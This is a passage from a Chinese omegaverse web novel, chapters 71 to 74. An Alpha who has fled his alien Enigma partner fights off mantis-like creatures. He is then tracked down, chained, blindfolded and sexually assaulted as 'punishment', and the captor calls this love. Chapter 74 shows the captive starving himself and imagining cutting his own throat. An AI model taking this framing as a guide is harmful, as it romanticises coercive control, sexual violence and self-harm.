70-80 第71章 第 71 章 这是原烙音离开的第六天。 一切顺风顺水, 他找到了与闵随决裂后少有的好心情。 “嗯,我凌晨过去。”原烙音拿到傅云泠放屏蔽液体的位置,他掰断电话卡换上新的,戴上兜帽往外走。 现在晚上九点, 以防万一, 他并不准备凌晨去。 目的地是条偏僻的小巷, 原烙音下车后还走了不短距离, 这里荒无人烟。 有东西。 他刚刚走到巷口就发现不速之客, 才在十几年无人问津的报废汽车上, 畸形的爪子攥着傅云泠留下的吊坠。 那东西身形像人, 没他高,也没有眼睛, 称作脸的部位只有一张嘴,它闻到原烙音身上传来的香甜气味后舔舔唇,毫不犹豫地冲过来。 原烙音做出防御姿势, 他的唐僧□□质头一次在回首都后发挥作用。 原烙音并没有带枪,他拔出卡在小腿的匕首, 顺便撕掉抑制贴。 那几天的标记数不清, 闵随留在他体内的信息素很浓, 若他判断未失误, 今晚不会有危险。 在异种眼中, 猎物身上带有强劲的信息素, 意味着他强大的伴侣就在周围。 那东西想跑, 却被威压得瑟瑟发抖。 原烙音一脚踹翻它,夺回吊坠, 再给了那黑漆漆怪物两拳后转身离开。 他运气好,遇上的不是什么厉害异种, 否则凭着闵随的信息素也很难善了。 他厌恶透顶这种受人掌控的憋屈感,人类若是没有武器,很难与异种抗衡,他拼命想躲开闵随,却还是要接受Enigma信息素的保护。 坐上出租车,司机正在听车载广播。 【新龙原超市促销活动,满两百减二十,满三百减四十,满五百减一百,越买越省,越来越省!】 “小伙,最近有消息说有什么……异种入侵,到处都在囤货,你囤没呢?” 原烙音前几天就听到原衡铎的内部消息,转身就去洗劫了商场,够他吃几个星期。 “囤了些面。”原烙音道。 “唉,我们抢了些菜,现在超市东西一上架就跟蝗虫过境似的几秒钟就没了。”司机叹了口气,“什么异种不异种的,什么时候才是个头啊。” 原烙音望向窗外的夜景。 异种存在无数年,消失不太可能。 但他和闵随的纠缠,什么时候才是个头啊。 * INSO的公布早就被信息洪流瞬间覆盖,生活并没有出现改变,只不过在各大商场的促销下,囤东西的人还是占了部分比例。 但异种依旧是存在于奇思妙想中的幻想生物。 直到第一次灾祸空降北方。 它们形如螳螂,比成人高大,深绿色的外壳坚硬如铁,两把长刃能够轻易将人类切成两半。 INSO将它命名为C-12。 无人知晓它们如何繁殖,只不过大规模地对抗收效甚微,即使它们与出现地区的人数比例只有0.000002:1,但不管多少普通人加在一起,遇见一只,基本上都是全军覆没。 这是自异种公布以来最大规模的相关伤亡事件,人类陷入恐慌之中,一时间,全世界的目光都聚焦在凭空出现的国际非人类调查组织上。 终于INSO发挥它应有的作用,宋执玉的脸出现在世界各地的大小荧幕。 “C-12畏光,喜温,它们会寻找合适的躯壳孕育卵,这场袭击的原因INSO还在深入调查,请您保证身边有强光源,并保持温度在20℃以下。” “社区会有不间断24小时巡视,请您不要外出,关紧门窗,一旦发现异种踪迹,请立刻报警,感谢您的配合。” 原烙音关掉电视。 恐慌导致居民大规模囤积物资,超市全都被洗劫一空,但原烙音买了够多东西,不必担心。 今天就会有物资送上门,他们由于从前的灾难都有经验,知道和从前一般呆在家中就会相对安全后,人心的浮躁要平复不少。 原烙音耐心等待着,他感受到前所未有的压力,C-12的出现属实不是好时机,他需要躲避闵随,还要防备攻击性极强的异种。 只能祈祷闵随的信息素有用。 他还有一把枪,一把对异种有用的枪。 上次遇见只有嘴的怪物给他敲响警钟,非常时期,他不能离开这把能够对付异种的枪。 【6-1:物资不是早上八点到下午二点发放吗?现在都晚上八点了怎么还没有到】 底下很多人都开始响应,原烙音并不习惯加这样的群,是寇准星拉他进来的。 他开始潜水窥屏。 楼里面越吵越凶。 【17-3:每两栋就有一个志愿者,人家不顾危险在外面跑,你们积点口德吧】 【17-3:我去看看,万一出事就不好了】 有人出头,自然许多坐不住的也纷纷表示要出去。 原烙音将枪别在裤腰用衣服盖住,找出手电筒也跟着出去。 若真的遇见意外,他是唯一能够救普通人的人,他不可能见死不救。 为避免电梯出现事故,他撕掉抑制贴,开着手电筒从安全通道慢慢下楼。 入目是一片死寂,这不是什么高档小区,灯光设施也远远达不到强光需求,他本能地预感不祥。 血腥味飘来,原烙音拔出枪上膛,慢慢踱步过去。 手电筒晃到令人胆寒的一幕,数不清的残肢堆积在一起,这处阴暗潮湿的小道全是血液,他有些反胃。 他骤然回头,差点魂飞魄散。 一只C-12悄无声息地出现在他身后,举起死神的镰刀正欲挥下,原烙音看到那双血红复眼中闪烁的垂涎。 子弹飞出,腐蚀了C-12的外壳,原烙音拼命催动腺体中留存的乌木信息素,果然那只虫子尖叫一声往后退去。 而对面,是一个女孩。 七八岁,浑身是血,举着手电筒,吓得呆在原地。 原烙音举起枪,瞄准那怪物的后脑,一枪毙命。 在C-12轰然倒地的瞬间,他飞扑过去将女孩抱在怀中。 “你受伤了吗?” “是哥哥的血,哥哥一直没回家,我出来找他。” 只是她的哥哥恐怕早就成为C-12的刃下亡魂。 “我送你回家,家里还有谁?” “奶奶……” 原烙音全身都在抖,他逼迫自己镇定下来,可哪里那么简单? 他练过枪,这是第一次对着活物。 “北芦区璟云府二期。”他将女孩送回去,又回到住处打通原衡铎的号码,“小铎,我杀了一个异种。” * “哥!”原衡铎来得很快,他冲进门抓住原烙音上下打量,“你受伤了,快让我看看。” “是别人的血。”原烙音像失去了灵魂,等原衡铎过来的时间,他想到了很多东西,“这只异种,是我吸引来的对不对,他们是因为我死的对吗?” “小铎,真的好多人,就一只异种。”原烙音几乎要呼吸过度,他浑身都是陌生的血液,包括C-12绿色的分泌液,“我或许该回到闵随身边,这种灾难体质落到哪里都是害人。” 计划那么久好不容易出逃成功,原烙音不甘心,但不得不选择妥协。 “我带了测量仪,闵随的信息素还能在我腺体里留存二十一天。”原烙音摸着仍旧鼓胀的腺体,“你今天来这很有可能让人发现,我若是选择继续躲就必须换个住处。” “他们以为我在执行公务,傅云泠顶上了,没人会发现的。”原衡铎也不知道该如何安慰,他握住原烙音冰冷的手,背负人命的滋味犹如火烧。 偏偏原烙音说得是最有可能的原因,璟云府二期前两日才剿灭一只C-12,它们同族之间关系薄弱,极其排斥同类气味,而之前那只的味道并未消失,短期内本不会有同类继承它的巢穴。 原烙音已经从原衡铎的沉默中读懂了答案。 “你回去吧,别人需要你。”原烙音笑得很牵强,“注意安全。” “可是……”原衡铎还想着留下。 “我不会做傻事的,你选择了这份职业,就要承担相应的责任。”原烙音道,“你多派些人到这,如果,如果还有另一只异种出现,我会回到闵随身边。” 没有尘埃落定,他心存侥幸,也知道自己可能在让他人承担不该承担的风险。 “距离上一只异种死亡有多少天。”他还是迈不过心里那道坎。 “三天。”原衡铎如实回答。 “那就两天,我再等两天就去找闵随。”自由,过一秒便少一秒,原烙音却隐隐有些解脱的感觉。 原衡铎走了,他换掉血衣,看见楼下出现医护人员,这才想起遇见C-12后幸存者会做检查。 他算是走了后门,并没有人打扰他。 数字很多时候是冰冷的,比如现在,不断跳跃的死亡人数统计永远不会停止。 原烙音呆坐在沙发直到凌晨三点,他还是很不甘心。 “叮咚。” 门响了。 他透过猫眼,看到是傅云泠。 “你来做什么?”他打开门,放人进来。 “我来告诉你,那只螳翼不是因你而来,是因为有个女孩是很理想的孕育体,会吸引他们。”傅云泠紧盯着原烙音的脸,“是你救了她,是你按照程序报备才能让医护人员及时赶到,她的体内已经取出四枚卵。” 原烙音转过头,眼中消失的光亮重又复燃。 “你是唯一的变数,C-12怕的强光很难达到,如果你没杀了那只螳翼,按照INSO的错误推论,这个小区的人会死更多。” “谢谢你。”原烙音终于活过来。 不论傅云泠为何而来,至少挪开了压得他喘不过气的大山。 “这场闹剧很快就会结束。”傅云泠没等原烙音问,便接着说,“闵随会出手,不过一天,人类会重归平静。” “闵随?”原烙音有些疑惑。 “因为你在这里,你是人类,他就会守护人类。”傅云泠虽与闵随不对付,也很佩服塔卢索为伴侣做出的程度,“点到为止,其实我是来送东西的。” “你可以重新计时七天了。”傅云泠抛出一个吊坠,就准备离开,“不论你在不在他的身边,闵随都会解决。” “等等。”原烙音叫住他,“下一次可以改成三天吗?” 空闲的时间他想了很多,但凡有一次被闵随截胡,他就会彻底丧失机会。 “随你,谁让你是我大舅哥呢。”傅云泠摆摆手关上门,“这里你可以放心住,有我从中作梗,闵随发现不了。” 一切又重归平静。 血腥味似乎还萦绕鼻尖,但没有了能够摧毁他的自责,原烙音很快就陷入睡眠。 明天又会是新的一天。 第72章 第 72 章 一旦找到合适的宿体, 只需要三天新的幼年C-12就会破体而出。 只要是生命,就会进化。 数据太少,没人知道C-12进化的速度究竟能够达到多快,离第一起目击案件已经过去了十天, 它们已经能够在强光与低温环境中自由穿梭。 傅云泠作为INSO人尽皆知的异种, 这种非常情况没有人会忤逆他的决定。 而INSO中国指挥中心迎来不速之客, 仍旧无人敢阻拦。 “原烙音呢。”闵随一脚踹开门, 在众目睽睽之下揪住傅云泠的衣领, “我能感应到, 他在首都。” “我说了很多次, 我不知道你伴侣在哪里。”傅云泠睁着眼睛说瞎话,他推开闵随后随便整理两下领子, “你再不请自来,别逼我动手。” “呵。”能屏蔽那库斯定位的异种屈指可数,原烙音只认识傅云泠, 其他的也不会把手伸得那么长,“你真该庆幸原衡铎是他的弟弟。” 否则用塞壬伴侣来威胁, 绝对是他的首选。 “自己找不到老婆别拿我老婆撒气, 有本事你来把这群螳翼处理了, 这本来就是你的事。”傅云泠忍住不在会议室跟闵随冲突, “我不知道原烙音在哪, 但是总会有螳翼遇见他, 他在人类中实力再强, 也无法抵御那群虫子的长刃。” “我知道了。”闵随直起身,没说答不答应, 径直离开。 “疯子。”傅云泠嗤道,他看着恨不得把头凿进桌子的众人无语地翻眼, “继续开会。” 闵随回到IMS时,谢垣正抱着资料走进董事长办公室。 “老板,这些就是你要的人员资料。”谢垣将厚厚一沓纸丢到桌上,“所有公开和秘密资料都在这里。” 闵随翻看着那些纸,回忆定格在方才会议室的一人上。 “盯紧他。”他抽出一张纸。 谢垣接过一扫,有些不解。 “可是老板,这没什么问题啊。”这个Beta男人与多数人一样,背景干净,与塞壬还有原衡铎并无私交。 “我闻到了萨德的味道。”虽然只出现了瞬间,闵随知道他离找到原烙音只剩下一步之遥,“傅云泠绝对不可能找明面上与他有联系的人。” “你说昨天傅云泠和原衡铎都消失了快一个小时?”闵随手指曲起敲击桌面,若有所思,“塞壬不会撕裂空间,你按照他们的速度,规划出一个小时能到达的最大范围。” 原烙音,就在里面。 “其他人继续盯,尤其是那个Beta。” “嗯。”谢垣记下后发现闵随要走,“老板,你去哪,会议要开始了。” “取消。”闵随有些烦躁,“我去处理那些不知道从哪里冒出来的螳翼。” * 网上预言能够消灭三分之一人类的C-12一夕之间无影无踪,就像是数亿人做了同一场梦。 就如同历史上经历的无数天灾人祸,生活还是要继续,人类社会很快回到从前的井然有序,而不断跳动的死亡数字最终定格,这场异种祸乱彻底结束。 原烙音还在继续躲避闵随,而七天时间很快就要到结尾,这次他要去游乐园拿新的吊坠。 灾难后重建家园,游乐园这种象征纯真与美好的事物往往会成为人类洗刷噩梦阴影的良药。 他们好像忘记了就在几天前,C-12凭空出现在宛若不夜城的游乐园,在被击毙前切碎了三十四人,鲜血溅在旋转的木马上。 INSO也是在那一刻才印证C-12进化的猜测,但于事无补,逝去的生命消失在天地,再也不会归来。 Alpha戴着口罩在人群中穿梭,为了不泄露信息素他在心脏上方贴了两层抑制贴,一如还残缺的曾经。 只需要找到兔子玩偶人手中唯一的紫色气球,他就能延续自由的生活。 人很多,但原烙音还是看到了目标。 他正准备穿过排旋转木马的长队,离兔子玩偶人还差十米时,忽然闻到了若有若无的乌木信息素。 冷汗瞬间浸透衣服,抑制贴是市面上最强效的款式,连他自己都闻不到腺体散发出来的信息素,这只能证明是闵随来了。 虽然难以置信,但他敢确定闵随来了。 跑。 现在就跑。 Enigma的嗅觉远远强于Alpha,即使闵随从前没有明说,他也能猜到在这样驳杂的环境,闵随能够闻到高精度器械才能捕捉到的属于他的信息素。 现在只是上午,几乎所有人都是入园,离开要比进入更难。 原烙音挤出离大门最近那个项目的长队,再也没有闻到乌木香,终于能够松口气 但他并不知道在他隐入人海的瞬间,闵随抬起头望向他离开的方向。 “呵。” Enigma并不着急,掐碎那个显眼的紫色气球,果不其然找到了一瓶透明的液体。 他派谢垣紧盯的Beta男人在两个小时前从INSO总部消失,到这个游乐园送给玩偶一个紫色的气球。 【那库斯,按照我说的做】 而原烙音拔腿狂奔,打开手机确定傅云泠的东西还有一个多小时的效用,坐上出租车后慌不择路给傅云泠打电话修改地点。 这个地点不能近,也不能太远。 “小伙子,你去哪里?”足足一分钟还没有敲定目的地,师傅转头问道。 “去新龙原,师傅,我给双倍,您尽量快些。”那也是鱼龙混杂的环境,方便他悄无声息地离开。 只需要一个小时而已,今天遇见闵随不过是意外,傅云泠给的东西至今还没有出现纰漏,他不会那么倒霉。 可是天不遂人愿,四十分钟后,车流忽然拥挤起来,隐隐有堵车的迹象。 “师傅,怎么回事,这条路不是不堵车吗?”原烙音冥冥之中有预感,他越发急躁起来。 “大白天忽然测酒驾,好几个口都设卡了。”师傅从微信群里得知原因复述给他,原烙音心都凉了半截。 绝对是闵随。 这里前不挨村后不着店,就算他下车也没办法快速到达目的地。 他得走,不能困死在这里。 但他不能保证闵随会不会派人蹲守,现在下车目标太大,几乎是瞬间就会被锁定。 “该死。”是他大意了,没想到居然能在游乐园遇见闵随。 速度比最坏设想要快些,甚至也没有鬼鬼祟祟蹲守的人,原烙音在交警示意停车时戴上帽子低头刷手机,祈祷没人发现。 效用时间还剩下四十分钟,而路程预计最少半个小时。 傅云泠将东西藏在新龙原超市的货架。 原烙音悔得肠子都青了,但凡他谨慎些,也不会光堵车就耗去二十多分钟。 “我加速,我□□傅借着车内镜看他,“小伙子,你不会是在躲人吧。” “没。”原烙音意识到自己反应过度,立刻搪塞道,“我男朋友等我一个小时了,我们才在一起,他快气疯了。” “那你要好好哄哄,新龙原门口全是卖花的,Omega都心软。” 原烙音心事重重,没有继续回应,他焦急地看向窗外,终于盼到目的地。 还剩下四分钟。 他丢下几张钞票飞出去,跑下扶梯冲进底楼的超市,随便抓着一个工作人员就问。 “请问下啤酒的货架在哪里。” 对方磕磕绊绊描述大通,原烙音记不清楚只能跟着往里面冲,可是正值节假日超市全是推着车的人,他的速度只能被迫减缓。 终于到达货架后,他也不敢有半分松懈,对着照片找,而倒计时已经进入十秒。 原烙音不敢看跳动的数字,在手机振动的瞬间终于摸到藏在啤酒瓶后的吊坠。 触碰生效,开始作用。 他差点在众目睽睽之下跪地感慨,幸好他将期限改为了三天,否则这次在劫难逃。 原烙音后知后觉,他好像是慢了片刻。 他的手剧烈颤抖,将吊坠挂在脖颈上。 不会的,不会那么可怜的,作用即刻生效,他还是会和往常一般掩盖自己的行踪。 与此同时,那库斯抬起头。 【老板,找到了】 * 门响的那一刻,原烙音正在看电影。 他走到玄关,正准备透过猫眼看是谁,却闻到了一股熟悉的乌木香,登时僵在原地。 其实出现失误的那天起他就一直在想,自己什么时候才会被闵随抓回去,虽然这样说有些不合时宜,但他就如同拼尽全力躲避追捕的逃犯,在手背过去被铐住的那一刻,最先冒头的情绪是释然。 “原烙音,开门。” 闵随能够在气息驳杂的游乐园辨认出他的信息素,更别提这一道门。 不知道算不算是负隅顽抗,原烙音站在原地,没有动作,也没有回应。 可惜寻找伴侣快一月的Enigma并没有耐心,Alpha就在一墙之隔却拒不见面的态度彻底点燃他压抑已久的愤怒,触手出现,缠绕着手腕延伸,不过是两指宽的粗细,却能够轻易扭坏门锁。 太久没见了。 闵随迈步进去,视线中心始终停留在原烙音身上,他还是舍不得说什么重话。 找到就好,只要原烙音回家,他能够将一切一笔勾销,再也不提起。 “都瘦了。”每时每分,他都在脑海中描摹Alpha的模样,没想到短短一月获得自由该开心的原烙音却这般憔悴。 他用手背试探原烙音体温的动作被Alpha偏头躲开,他看到原烙音眼中闪烁的畏惧,表情骤然冷了下来。 “怕我?”他掐住原烙音的脸转过来,“那你怎么敢跑!” 强行将原烙音带回来的结局不会多完满,他在做出这个行为前就已经预见,可惜他是塔卢索,注定不会做原烙音生命中的旁观者。 原烙音的离开在他的设想范围内,若是这一月原烙音得到自己心心念念的自由能够多笑两下,他也不会多可惜落空的怀抱。 但事实证明,Alpha离开他过的一点也不好。 “我有什么不敢的。”原烙音死命咬在Enigma的虎口,闵随毫不怀疑,若非自己及时收手,他能咬下这块肉。 “你除了把人绑起来关起来还有什么本事!”爱在时间流逝中逐渐转变为无法忽视的恨,闵随这个他自认为天作之合的贴心爱人逐渐变得面目可憎,“所谓命定,不过是你们满足私欲的借口。” Alpha充满敌意的眼神彻底刺痛闵随,他想不去看原烙音眼中的恨意,视线下移却看见悬挂在原烙音脖颈处的吊坠,里面有他未第一时间注意的东西。 “你还敢戴着那条死人鱼的东西。”闵随彻底推翻自己和平解决这一场闹剧的想法,属于塞壬的海洋气息烧毁仅剩不多的理智,“我给你的玉佩呢?” “我又不是有病,分手了怎么会带前任的东西。”原烙音的恐惧在尘埃落定的一刻彻底烟消云散,争吵总是会失去理智的,刺伤对方成为唯一的目的,他太知道怎么惹怒闵随了,“我就是要离开你,我就是要让你这辈子都找不到我,你亲口听到答案了,满意了吗?” 反正今天不论是妥协还是反抗,都会被闵随带回去,他才不会让闵随那么顺心。 “你的这辈子就二十二天?”闵随掌心包裹那个玻璃吊坠,握拳将它挤压成碎片,所有渣子都刺进他的掌心,“我以为你那么聪明,总会想清楚,人与异种难以抗衡。” “我以为螳翼的事会让你学乖。”他将血抹在原烙音的嘴唇,“我都知道了,它们想对你动手,所以才会那么快消失。” “你什么时候才能明白,只有我的身边才安全。”闵随将玻璃渣丢进垃圾桶,又剿灭属于塞壬的气息,用乌木信息素包裹原烙音,“你出来太久了,该回家了。” “自己走,还是我绑你回去?” “你不可能关住我,只要有点机会我就会离开,或许过不了多久我宁愿被异种撕碎,也不愿意留在首都。” 闵随没想到这个时候原烙音还不妥协,但他并没有为此生气,毕竟原烙音还是回来了。 “看来你是想我绑你回去了。” 第73章 第 73 章 原烙音睁开眼, 却只看到一片黑暗,他本以为是没有光,接着后知后觉自己的视觉好像被剥夺。 “闵随,闵随!”手腕处有铁质的触感, 随着他的动作发出碰撞的清脆声, 原烙音瞬间就明白那是什么东西。 闵随把他锁起来了。 “喊什么。”闵随的声音出现, 原烙音判断距离不超过五米。 他没听到任何脚步声, 也就是说闵随就站在那里将他的慌张尽收眼底, 以至于那句类似呵斥的话都带上愉悦的语调。 这个疯子! “你不让我看见了对吗?”他望向闵随的方向, 徒劳地睁大眼睛, 不管实际环境光亮还是黑暗,他知道闵随看得见。 微凉的感觉在颈侧炸开, 又跳跃到腺体,原烙音这才发现除了被子,他什么都没有。 “音音的眼睛还是那么漂亮。” “你到底要做什么, 这是哪里?”原烙音打断他的话。 “当然是在家啊。”闵随语气愉悦得令人恼怒,他触摸原烙音脖子上那个定制的chocker, 终于有将伴侣揽在羽翼下的实感, “我的传承记忆告诉我, 黑暗与封闭会逐渐瓦解伴侣的意识, 他们最终都会投入塔卢索的怀抱。” 原烙音气得嘴唇都在抖。 “还是说, 你需要我切断你一切外界的联系, 家人朋友什么都消失, 整个世界只剩下我才会心甘情愿?” Alpha听出他玩笑中的认真,知道自己不能用人去衡量毫无道德感的异种, 他盘算着自己该如何脱身,又能不让闵随怀疑。 指甲狠狠嵌进Enigma的皮肤, 留下狰狞的血痕,原烙音几乎是疯了一样去拽那束缚他的链子。 “没用的。”闵随阻止他近乎自虐的行为,手指拂过磨破的掌心,那红痕顷刻消失,“弱一点的异种都扯不断。” “我是你的狗吗?”原烙音又去扯脖子上的chocker,这次如他所愿,只不过动作粗鲁在脖间留下不少痕迹,他将那东西砸出去,“恶心,你就是个疯子,人渣!” “随你怎么想。”闵随的耐心早就消磨殆尽,原烙音离开这一个月,他唯一改变的想法就是不再奢求什么原谅,只要Alpha永远留在他的身边,“主动诱发易感期,求我标记,就是为了得到更多的信息素,原烙音,你真的好本事。” 他知道Alpha不舒服不信命,就像一只倔强的小狼。 但獠牙对准他,总是不那么舒服的。 “抑制贴藏得住外溢的信息素吗?你猜路过的人会不会偷偷议论,说你全身都是别人的味道,是被标记的Alpha。”闵随按住他不再鼓胀的腺体,“他们会觉得你漂亮吗?会不会有很多人偷偷觊觎你。” 巨大的快感席卷全身逐渐又接近疼痛的范畴,Alpha就像只虾似的蜷起身子,躲避闵随用力下摁的手指。 “呵,真是不爽。”闵随将头发往后捋,手指伸入原烙音的口腔抚摸他的犬齿,“不过他们大概是觊觎你的标记。” “你放开我!”原烙音狠狠闭合牙齿,尖锐的犬齿直接在闵随的指尖留下血洞。 “还说自己不是小狗,那么喜欢咬人。”闵随不在意那些疼痛,他甚至没有花费时间治愈伤口,任由血滴落在Alpha身上。 乌木信息素逐渐填满整个房间,而接受过完全标记的原烙音首当其冲,几乎是瞬间就被挑起反应。 这就是被标记后的弊端,除了周期越来越长的易感期,他们会生理性臣服于标记自己的那一方。 “好了。”闵随的目的达成,瞬间原烙音又从雨林回到现实。 Enigma的掌心按在Alpha的腹部。 “还记得我在桑尼顿说过什么吗?” 原烙音骤然回神,他看不见,只能凭直觉抓住闵随的手臂。 他逃走了,闵随今天铁了心要给他颜色看,说不定真的会将那个疯狂的想法付诸现实。 “你不能,你不能,你不能这样!”他要离开闵随,绝对不可以任由Enigma逼迫他将一个生命带到这个世界。 “我是Alpha,我会死的。”泪从眼眶中滑落,原烙音就像是抓住救命稻草般抓住酿成这些灾祸的罪魁祸首,“你把我当作什么闵随,你把我当作什么!” 他没有听到Enigam的回应,甚至听不到呼吸声,他几乎能想象到闵随冰冷的目光。 上一秒他还在思索怎么代价最小地彻底离开,此刻他便知道答案。 注定,注定和闵随纠缠一生,他们不会是塔卢索族群中的意外。 拳头就是表达愤怒的最好方式,第一下打中后,原烙音就像是要将那些情绪全部发泄干净,把闵随当做了沙包。 “打够了吗?”闵随承受着Alpha的怒火,他脱掉碍事的衬衣,“没打够就继续,等你打够我们再开始。” 然后所有的账一起算。 原烙音偃旗息鼓,他还想说什么改变闵随的想法,却被男人捂住嘴。 “嘘,今天不会再给你信息素了。” 没有爱的结合只剩下屈辱和征服,原烙音挥拳,扇巴掌,甚至是咬,都无法减缓Enigma的动作。 这就是人类进化出的结果,Alpha就算是在没有信息素的情况下,也不能抗过标记他的Enigma。 “我会从这,进到这。”闵随点在他的小腹,“没有信息素,你会拥有绝对的清醒,没有视力干扰,你其他感官敏感度也会提高。” “怎么样?”闵随说到做到,就算原烙音痛得生理性眼泪流了满脸也没有停止,只是藏着兴奋吻去那些水液,“你逃一次我就这样对你一次,我还有更多有趣的玩法,但估计你不太能够承受。” 他要原烙音疼,要将欢愉与疼痛刻在Alpha的潜意识中,逼迫原烙音再也不会有逃离的想法。 “你不是什么小猫小狗,你是我唯一的爱人。”闵随在Alpha脸上露出茫然表情时吻住他的唇,“我爱你音音,爱你的人太多了,但我会是最爱你的那一个。” 原烙音的意识陷入一段空白,再回神时,他感觉自己上半身立起,靠在闵随怀中。 当他意识到闵随的手在如何动作时,几乎是拼命挣扎,却在Enigma握紧手的瞬间安静下来。 “要小心啊。”闵随戏谑道,“舒服吗音音?” 原烙音不愿承认,内心翻江倒海的排斥几乎令他反胃,但他明白在这个时候继续激怒闵随不是什么好选项。 “说话。” 原烙音闭上眼睛漏出几声压抑不住的喘息,他想往后仰,却被闵随挡住,只能紧紧贴在Enigma的胸膛。 “你就是利用信息素控制我。”他嘴硬着,逼自己相信这是闵随利用乌木香造成的反应。 闵随只是轻笑两声,唇贴在他的耳后。 原烙音大脑忽然又进入一片空白。 “音音,你成.结了。” 闵随的声音唤回他的意识,原烙音伸出手往脸上一摸,只摸到冰冻的眼泪。 没有信息素,他确认了一遍又一遍,房间里只有他的青柠味。 明明那么排斥,却还是只能做闵随手中的木偶,原烙音越来越难过,他也不再将其归咎于信息素分泌的影响,甚至脱力靠在闵随怀中啜泣。 为什么不愿承认呢。 他一开始就不是个完整的Alpha。 “很难过吗音音。”闵随捏住他的下巴抬高,欣赏那双无神眼睛中包裹的眼泪。 原烙音抿唇微微地点点头。 “难过就对了。”闵随笑道,“因为这是惩罚。” * 这是惩罚。 原烙音一直在回想这句话。 他的视力恢复原状,铁链也消失地无影无踪,从前与闵随构筑的爱巢,却摇身一变,成为关住他的牢笼。 这一次,闵随切断了他的通讯,又不知道以怎样的方式,让所有人以为他又出国旅行。 包括原衡铎。 更可恨的是,闵随好像又恢复了他们刚刚认识的那般,将那些疯狂掩藏,企图回到从前。 这是闵随的把柄,虽然原烙音不愿承认,但塔卢索无懈可击,没有东西能让祂们动摇拥有伴侣的想法。 他唯一的筹码只有自己。 “音音,我给你带了蛋糕。”他不太喜欢吃甜,从前闵随也会随手带一份不太甜的抹茶蛋糕回家。 只不过物是人非,他宁愿自己将从前的闵先生和现在的塔卢索视为两个人。 “我把那些招惹你的东西全部撕碎了。”闵随说得轻易,就像是随手碾死几只蚂蚁。 “是发烧了不开心吗?”闵随去试他额头的温度,下一刻手就被拍开。 “你什么时候玩够?”原烙音道,他有些晕,全身无一处不疼。 “什么?”闵随怀疑自己听错了。 “我要一个时间,一个你放我走的时间。”原烙音抬起头,“在这个时间段我可以扮成我们刚刚在一起的模样。” 闵随几乎被他的话气笑。 “原烙音,你在玩什么爱情买卖?”他打开抹茶蛋糕的盒子递过去,“先吃点吧,你一天没吃东西了。” “我很认真。”原烙音将蛋糕丢进垃圾桶,“我们这样纠缠最后只会面目全非,不如给对方留些美好的回忆。” “美好回忆?”闵随嗤道,“你是我的命定伴侣,我活着就是为了跟你在一起,放手除非我死。” “你现在是关着我,这算哪门子的在一起!”没有手机,不能出门,他每天能说话能见到的只有闵随。 Enigma真的做到了。 他的世界只有闵随。 “当然算。”闵随坐在原烙音对面,表情没有任何不自然,“其实我有些后悔。” “除非你现在跪着……”原烙音也因闵随的话重燃怒火,被闵随锁在家里的人是他,“你就算是磕头赔罪我也不会接受你,只会利用这样的手段,你还真是个可怜虫。” “我后悔见到你第一面还在固执己见,当时就应该把你关起来,后面也不会有这么多波折。”闵随道,他看着Alpha的脸上浮现出怒气,拿出第二份蛋糕,“我猜到你会丢。” 原烙音只是起身回了客卧,锁上房门。 他怕自己忍不住扇闵随。 第74章 第 74 章 闵随拒绝了原烙音可笑的想法, 他要的是Alpha永远的陪伴,而非只存在记忆里触摸不到的时光。 所以原烙音做出了反击。 他不再做无谓的反抗,不去试图逃离闵随精心缔造的牢笼,也不再与Enigma说半句话, 彻底沦为毫无生气的玩偶。 饥饿的滋味原烙音此前从未体验过, 他躺在床上, 只觉得每时每刻都有无法摆脱的疲惫。 “好饿。”他自言自语, 也觉得自己不可理喻。 但凡闵随并非塔卢索, 只是一个人类, 他有大把的方法让闵随麻烦缠身。 可现实与愿望背道而驰, 他再也闻不到闵随半点信息素,每天都能看到在玻璃窗外虎视眈眈的怪物。 闵随不费半点力气, 只需要放任那些生物守在门外,就能彻底断绝他离开别墅的想法。 这是第十天,他只在闵随不注意时喝了些自来水, 吊着命全靠Enigma逼着注射的营养剂。 Alpha的身体比其余性别要更健壮些,但也经不过原烙音这么不要命地折腾, 很快原烙音就无法避免地精神恍惚, 他只能一遍又一遍告诉自己, 若是屈服, 这辈子都只能是闵随的掌中之物。 他不甘心。 “音音。”闵随对此无可奈何, 逼迫原烙音吃东西, Alpha会用尽方法催吐, 打营养针也不是长久的方法。 原烙音早就放弃与闵随交流,他不理解塔卢索对命定伴侣的执着与疯狂, 但他明白就算问一千遍一万遍,闵随也不会放他离开。 要治绝症, 必下猛药。 他想尽一切办法治疗腺体延长生命,不是为了日复一日地在闵随的别墅中枯败凋零。 “说句话好不好,你想要什么我都可以改。”闵随坐在床沿,握住他的手腕,却很快被甩开。 这些日子原烙音的巴掌和拳头他没少挨,一开始Alpha还有所顾忌,日子一长彻底明白囚禁一事再无转圜余地后,原烙音手边有什么东西就会往他身上砸。 那点疼闵随不在意,但他要将原烙音不择手段地留在身边,就必须接受原烙音在他眼前衰败。 “音音,其实你明白的,我那么爱你,只要你点头什么我都可以为你做到。” 原烙音不听,他的面色苍白如纸,手边的东西早就糟蹋干净,便一巴掌朝闵随脸上扇去。 指甲很久没有修剪,在Enigma的脸侧留下一道血痕。 是假的。 全是假的。 原烙音将头埋进视为保护物的被子中,咬住自己的手指,一遍又一遍警告自己。 从前他爱的那个闵随早就死在了他发现Enigma身份那一天,现在的闵随就是个披着他爱人皮囊的怪物,那些难以忽视的畸形爱意建立在对他的剥削与控制之上。 异种和人永远不能在一起。 他听到闵随越来越远的脚步声,探出头确定Enigma离开后才抖着腿走向浴室。 绝食无疑对他的生理状况造成难以修复的伤害,但原烙音知道这样的程度绝对不够,以他对闵随的了解,过不了多久他的反抗就会触及闵随的底线。 自从他砸闵随时伤到自己后,Enigma就收走了所有尖锐物品,可他总能找到办法。 浴室的镜子背后有暗格,他刚刚搬进来时不小心打碎镜子后换了块新的,闵随并不知道。 他也没想到有朝一日能够派上用场。 里面有一把牙刷。 原烙音打开花洒后,抓住那把塑料牙刷磨着洗手台。 就快要成功了,本来就是尖头的反人类设计,倒是方便了他。 原烙音抬头望向镜子,他看到自己枯槁的面容,这段时间伤敌八百自损一千,他瘦得几乎脱相。 捏住牙刷抵在脖间,原烙音觉得镜中面无表情的自己很陌生。 “他”忽然露出诡异的笑容,抬起手,正准备狠狠划下。 原烙音瞪大眼睛。 不是的,他设想的不是割喉这样失误概率极大的方法,他不想死! 牙刷落地的声音被水声遮掩,原烙音看向还在工作的花洒心有余悸。 又出现幻觉了。 原烙音藏好牙刷,回到床上,窗外触手可及的天空刚刚擦黑。 烟花炸开的声音很响,原烙音抬头望向转瞬即逝的花束,才意识到好像今天是除夕。 去年的今天,他和家人在饭桌上庆祝新春。 